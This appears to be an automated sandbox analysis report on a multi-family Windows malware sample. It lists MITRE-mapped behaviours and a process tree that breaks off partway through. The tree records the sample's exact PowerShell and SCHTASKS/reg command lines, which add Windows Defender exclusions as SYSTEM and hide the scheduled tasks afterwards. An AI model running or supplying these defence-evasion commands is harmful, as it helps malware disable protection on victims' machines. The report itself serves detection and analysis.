eab88cf51011de1d657c49fde6ef99e358e894f48e6b1ffaff35cb7244d6d669

Analysis

max time kernel
139s
max time network
159s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
16/08/2026, 04:45

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-16_3e863dd1a76b543ae76b630abec9d1e3_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
Size 40.7MB
Sample260816-fdlelsdk71
SHA256 eab88cf51011de1d657c49fde6ef99e358e894f48e6b1ffaff35cb7244d6d669
MD5 3e863dd1a76b543ae76b630abec9d1e3
SHA1 38791857ff98a947139da58dd4128751353384ef
SHA512 ac9c3d17ede410c631ecfb3b25277be895b9898eb76f51bbf20c8008b2e738143515884248e6b8167debc79c24e8516647fde9a150cbd42c846647d7f17e5054
SSDEEP 49152:HJXVSCM39nmT5ocV1Nxst3ZbypRxG80FfElQ+XwxhxuhSnY53G3SrXJAdrFejntW:Hu/9nmHZLxG80DuKA3XAD8ntZfh6fgCJ
TLSH
T1A7974C02F7054AAFE07A9234489B8F61E335D8B146B1937723F55B2C1EEF34C4EA6964
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution exploit persistence privilege_escalation trojan

Malware Config

Signatures

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	AzX8us.exe

Windows security bypass 2 TTPs 6 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\G8d0hL = "0"	reg.exe

Detects executables calling ClearMyTracksByProcess 1 IoCs

resource	yara_rule
behavioral2/memory/5292-718-0x0000000010000000-0x0000000010061000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_ClearMyTracksByProcess

Detects executables containing artifacts associated with disabling Widnows Defender 9 IoCs

resource	yara_rule
behavioral2/memory/5292-683-0x0000000002FF0000-0x00000000037F7000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/5292-687-0x0000000002FF0000-0x00000000037F7000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/5292-711-0x0000000002FF0000-0x00000000037F7000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/5292-721-0x0000000002FF0000-0x00000000037F7000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/5292-708-0x0000000002FF0000-0x00000000037F7000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/2848-752-0x00000000038E0000-0x00000000040E7000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/4716-764-0x0000000003C50000-0x0000000004457000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/2892-762-0x0000000003000000-0x0000000003807000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/5292-779-0x0000000002FF0000-0x00000000037F7000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3428	powershell.exe
5464	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	AzX8us.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1021.001

Possible privilege escalation attempt 23 IoCs

exploit

pid	Process
4420	icacls.exe
4904	icacls.exe
4672	takeown.exe
1688	icacls.exe
4936	icacls.exe
3584	icacls.exe
1256	icacls.exe
4376	icacls.exe
5632	takeown.exe
1484	icacls.exe
2564	icacls.exe
1728	icacls.exe
6092	icacls.exe
2820	icacls.exe
3452	icacls.exe
3080	icacls.exe
944	icacls.exe
3216	icacls.exe
3056	icacls.exe
4112	icacls.exe
1232	icacls.exe
2432	icacls.exe
1304	icacls.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 6 IoCs

pid	Process
4504	c8F7Hx.exe
4548	c8F7Hx.exe
5292	AzX8us.exe
2848	AzX8us.exe
4716	AzX8us.exe
2892	lcud17K.exe

Loads dropped DLL 6 IoCs

pid	Process
4504	c8F7Hx.exe
4548	c8F7Hx.exe
5292	AzX8us.exe
2848	AzX8us.exe
4716	AzX8us.exe
2892	lcud17K.exe

Modifies file permissions 1 TTPs 23 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
4112	icacls.exe
1232	icacls.exe
3584	icacls.exe
944	icacls.exe
1304	icacls.exe
3056	icacls.exe
3452	icacls.exe
3080	icacls.exe
5632	takeown.exe
3216	icacls.exe
2564	icacls.exe
1728	icacls.exe
2820	icacls.exe
4376	icacls.exe
2432	icacls.exe
4672	takeown.exe
1688	icacls.exe
4936	icacls.exe
4420	icacls.exe
1256	icacls.exe
4904	icacls.exe
1484	icacls.exe
6092	icacls.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Alibaba SecurityHealtha = "\"C:\\Program Files (x86)\\AzX8us\\AzX8us.exe\""	AzX8us.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\G8d0hL\\c8F7Hx.exe\""	c8F7Hx.exe

Indicator Removal: Clear Persistence 1 TTPs 10 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
2608	cmd.exe
2360	cmd.exe
5368	cmd.exe
4620	cmd.exe
4168	cmd.exe
684	cmd.exe
6040	cmd.exe
412	cmd.exe
5800	cmd.exe
3852	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	c8F7Hx.exe

Drops file in Program Files directory 18 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\AzX8us\image.png	c8F7Hx.exe
File opened for modification	C:\Program Files (x86)\AzX8us\thumbs.db	c8F7Hx.exe
File opened for modification	C:\Program Files (x86)\uBY7pEjQj	AzX8us.exe
File opened for modification	C:\Program Files (x86)\AzX8us\AzX8us.exe	c8F7Hx.exe
File created	C:\Program Files (x86)\uBY7pEjQj\lcud17K.exe	AzX8us.exe
File created	C:\Program Files (x86)\uBY7pEjQj\thumbs.db	AzX8us.exe
File opened for modification	C:\Program Files (x86)\uBY7pEjQj\thumbs.db	AzX8us.exe
File opened for modification	C:\Program Files (x86)\AzX8us	c8F7Hx.exe
File created	C:\Program Files (x86)\AzX8us\thumbs.db	c8F7Hx.exe
File opened for modification	C:\Program Files (x86)\uBY7pEjQj\lcud17K.exe	AzX8us.exe
File created	C:\Program Files (x86)\uBY7pEjQj\image.png	AzX8us.exe
File opened for modification	C:\Program Files (x86)\uBY7pEjQj\image.png	AzX8us.exe
File created	C:\Program Files (x86)\uBY7pEjQj\XPSPLOG.dll	AzX8us.exe
File opened for modification	C:\Program Files (x86)\uBY7pEjQj\XPSPLOG.dll	AzX8us.exe
File created	C:\Program Files (x86)\AzX8us\AzX8us.exe	c8F7Hx.exe
File created	C:\Program Files (x86)\AzX8us\image.png	c8F7Hx.exe
File opened for modification	C:\Program Files (x86)\AzX8us\XPSPLOG.dll	c8F7Hx.exe
File created	C:\Program Files (x86)\AzX8us\XPSPLOG.dll	c8F7Hx.exe

Launches sc.exe 8 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
6020	sc.exe
1564	sc.exe
5652	sc.exe
3172	sc.exe
804	sc.exe
1924	sc.exe
3384	sc.exe
2524	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Screensaver 1 TTPs 3 IoCs

Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.

persistence privilege_escalation

Screensaver

T1546.002

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	AzX8us.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000\Control Panel\Desktop\SCRNSAVE.EXE	AzX8us.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000\Control Panel\Desktop\ScreenSaveActive = "0"	AzX8us.exe

Executes a command shell one-liner 1 TTPs 29 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2884	cmd.exe
1448	cmd.exe
2724	cmd.exe
4292	cmd.exe
468	cmd.exe
2188	cmd.exe
5840	cmd.exe
3764	cmd.exe
4916	cmd.exe
4960	cmd.exe
1644	cmd.exe
3896	cmd.exe
3100	cmd.exe
1744	cmd.exe
2244	cmd.exe
2840	cmd.exe
236	cmd.exe
3336	cmd.exe
4684	cmd.exe
1776	cmd.exe
3416	cmd.exe
4708	cmd.exe
2752	cmd.exe
2940	cmd.exe
4156	cmd.exe
3428	cmd.exe
4188	cmd.exe
5824	cmd.exe
4340	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 20 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AzX8us.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AzX8us.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AzX8us.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	lcud17K.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AzX8us.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	AzX8us.exe

Modifies Control Panel 4 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000\Control Panel\Desktop\ScreenSaveActive = "0"	AzX8us.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	AzX8us.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000\Control Panel\Desktop\ScreenSaveTimeOut = "0"	AzX8us.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000\Control Panel\Desktop\SCRNSAVE.EXE	AzX8us.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 10 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5968	schtasks.exe
5680	schtasks.exe
2384	schtasks.exe
4996	schtasks.exe
2056	schtasks.exe
5860	schtasks.exe
4048	schtasks.exe
4564	schtasks.exe
4488	schtasks.exe
3620	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4140	2026-08-16_3e863dd1a76b543ae76b630abec9d1e3_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
4140	2026-08-16_3e863dd1a76b543ae76b630abec9d1e3_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
4140	2026-08-16_3e863dd1a76b543ae76b630abec9d1e3_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
4140	2026-08-16_3e863dd1a76b543ae76b630abec9d1e3_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
4140	2026-08-16_3e863dd1a76b543ae76b630abec9d1e3_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
4140	2026-08-16_3e863dd1a76b543ae76b630abec9d1e3_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
4140	2026-08-16_3e863dd1a76b543ae76b630abec9d1e3_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
4140	2026-08-16_3e863dd1a76b543ae76b630abec9d1e3_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
4140	2026-08-16_3e863dd1a76b543ae76b630abec9d1e3_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
4140	2026-08-16_3e863dd1a76b543ae76b630abec9d1e3_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
4140	2026-08-16_3e863dd1a76b543ae76b630abec9d1e3_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
4140	2026-08-16_3e863dd1a76b543ae76b630abec9d1e3_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
4140	2026-08-16_3e863dd1a76b543ae76b630abec9d1e3_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
4140	2026-08-16_3e863dd1a76b543ae76b630abec9d1e3_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
4140	2026-08-16_3e863dd1a76b543ae76b630abec9d1e3_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
4140	2026-08-16_3e863dd1a76b543ae76b630abec9d1e3_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
4140	2026-08-16_3e863dd1a76b543ae76b630abec9d1e3_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
4140	2026-08-16_3e863dd1a76b543ae76b630abec9d1e3_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
4140	2026-08-16_3e863dd1a76b543ae76b630abec9d1e3_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
4140	2026-08-16_3e863dd1a76b543ae76b630abec9d1e3_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
4140	2026-08-16_3e863dd1a76b543ae76b630abec9d1e3_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
4140	2026-08-16_3e863dd1a76b543ae76b630abec9d1e3_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
4140	2026-08-16_3e863dd1a76b543ae76b630abec9d1e3_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
4140	2026-08-16_3e863dd1a76b543ae76b630abec9d1e3_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
4140	2026-08-16_3e863dd1a76b543ae76b630abec9d1e3_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
4140	2026-08-16_3e863dd1a76b543ae76b630abec9d1e3_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
4140	2026-08-16_3e863dd1a76b543ae76b630abec9d1e3_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
4140	2026-08-16_3e863dd1a76b543ae76b630abec9d1e3_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
4140	2026-08-16_3e863dd1a76b543ae76b630abec9d1e3_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
4140	2026-08-16_3e863dd1a76b543ae76b630abec9d1e3_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
4140	2026-08-16_3e863dd1a76b543ae76b630abec9d1e3_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
4140	2026-08-16_3e863dd1a76b543ae76b630abec9d1e3_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
4504	c8F7Hx.exe
4504	c8F7Hx.exe
4504	c8F7Hx.exe
4504	c8F7Hx.exe
4504	c8F7Hx.exe
4504	c8F7Hx.exe
4504	c8F7Hx.exe
4504	c8F7Hx.exe
4504	c8F7Hx.exe
4504	c8F7Hx.exe
4504	c8F7Hx.exe
4504	c8F7Hx.exe
4504	c8F7Hx.exe
4504	c8F7Hx.exe
4504	c8F7Hx.exe
4504	c8F7Hx.exe
4504	c8F7Hx.exe
4504	c8F7Hx.exe
4504	c8F7Hx.exe
4504	c8F7Hx.exe
4504	c8F7Hx.exe
4504	c8F7Hx.exe
4504	c8F7Hx.exe
4504	c8F7Hx.exe
4504	c8F7Hx.exe
4504	c8F7Hx.exe
4504	c8F7Hx.exe
4504	c8F7Hx.exe
4504	c8F7Hx.exe
4504	c8F7Hx.exe
4504	c8F7Hx.exe
4504	c8F7Hx.exe

Suspicious behavior: LoadsDriver 8 IoCs

pid	Process
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	3428	powershell.exe
Token: SeIncreaseQuotaPrivilege	3428	powershell.exe
Token: SeSecurityPrivilege	3428	powershell.exe
Token: SeTakeOwnershipPrivilege	3428	powershell.exe
Token: SeLoadDriverPrivilege	3428	powershell.exe
Token: SeSystemProfilePrivilege	3428	powershell.exe
Token: SeSystemtimePrivilege	3428	powershell.exe
Token: SeProfSingleProcessPrivilege	3428	powershell.exe
Token: SeIncBasePriorityPrivilege	3428	powershell.exe
Token: SeCreatePagefilePrivilege	3428	powershell.exe
Token: SeBackupPrivilege	3428	powershell.exe
Token: SeRestorePrivilege	3428	powershell.exe
Token: SeShutdownPrivilege	3428	powershell.exe
Token: SeDebugPrivilege	3428	powershell.exe
Token: SeSystemEnvironmentPrivilege	3428	powershell.exe
Token: SeRemoteShutdownPrivilege	3428	powershell.exe
Token: SeUndockPrivilege	3428	powershell.exe
Token: SeManageVolumePrivilege	3428	powershell.exe
Token: 33	3428	powershell.exe
Token: 34	3428	powershell.exe
Token: 35	3428	powershell.exe
Token: 36	3428	powershell.exe

Suspicious use of WriteProcessMemory 42 IoCs

description	pid	Process	procid_target
PID 4504 wrote to memory of 3428	4504	c8F7Hx.exe	93
PID 4504 wrote to memory of 4620	4504	c8F7Hx.exe	95
PID 4620 wrote to memory of 2056	4620	cmd.exe	97
PID 4620 wrote to memory of 4860	4620	cmd.exe	99
PID 4504 wrote to memory of 5800	4504	c8F7Hx.exe	101
PID 4620 wrote to memory of 3656	4620	cmd.exe	104
PID 5800 wrote to memory of 5860	5800	cmd.exe	105
PID 4504 wrote to memory of 3852	4504	c8F7Hx.exe	106
PID 5800 wrote to memory of 4896	5800	cmd.exe	108
PID 3852 wrote to memory of 4048	3852	cmd.exe	110
PID 4504 wrote to memory of 4168	4504	c8F7Hx.exe	113
PID 5800 wrote to memory of 2844	5800	cmd.exe	115
PID 3852 wrote to memory of 5088	3852	cmd.exe	116
PID 3764 wrote to memory of 6088	3764	cmd.exe	117
PID 4168 wrote to memory of 4564	4168	cmd.exe	118
PID 3852 wrote to memory of 1800	3852	cmd.exe	119
PID 4168 wrote to memory of 6020	4168	cmd.exe	120
PID 4168 wrote to memory of 2176	4168	cmd.exe	121
PID 4504 wrote to memory of 684	4504	c8F7Hx.exe	122
PID 684 wrote to memory of 5968	684	cmd.exe	124
PID 684 wrote to memory of 4380	684	cmd.exe	125
PID 684 wrote to memory of 2008	684	cmd.exe	127
PID 2884 wrote to memory of 4644	2884	cmd.exe	129
PID 1448 wrote to memory of 6112	1448	cmd.exe	130
PID 4504 wrote to memory of 5292	4504	c8F7Hx.exe	132
PID 5292 wrote to memory of 236	5292	AzX8us.exe	137
PID 5292 wrote to memory of 4916	5292	AzX8us.exe	138
PID 5292 wrote to memory of 468	5292	AzX8us.exe	141
PID 236 wrote to memory of 3452	236	cmd.exe	239
PID 5292 wrote to memory of 2724	5292	AzX8us.exe	144
PID 5292 wrote to memory of 4960	5292	AzX8us.exe	146
PID 5292 wrote to memory of 4684	5292	AzX8us.exe	260
PID 5292 wrote to memory of 1644	5292	AzX8us.exe	150
PID 4960 wrote to memory of 4112	4960	cmd.exe	152
PID 5292 wrote to memory of 6040	5292	AzX8us.exe	153
PID 5292 wrote to memory of 1776	5292	AzX8us.exe	154
PID 5292 wrote to memory of 2940	5292	AzX8us.exe	157
PID 6040 wrote to memory of 5680	6040	cmd.exe	160
PID 2940 wrote to memory of 1256	2940	cmd.exe	159
PID 1776 wrote to memory of 1672	1776	cmd.exe	161
PID 1672 wrote to memory of 1716	1672	net.exe	162
PID 6040 wrote to memory of 1880	6040	cmd.exe	163

System policy modification 1 TTPs 1 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	AzX8us.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-08-16_3e863dd1a76b543ae76b630abec9d1e3_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-16_3e863dd1a76b543ae76b630abec9d1e3_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:4140

C:\Users\Public\G8d0hL\c8F7Hx.exe
"C:\Users\Public\G8d0hL\c8F7Hx.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4504
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:3428
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\G8d0hL\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4620
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\G8d0hL\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2056
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4860
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3656
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5800
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5860
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4896
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2844
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3852
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4048
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5088
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1800
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4168
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4564
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:6020
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2176
- C:\Windows\System32\cmd.exe
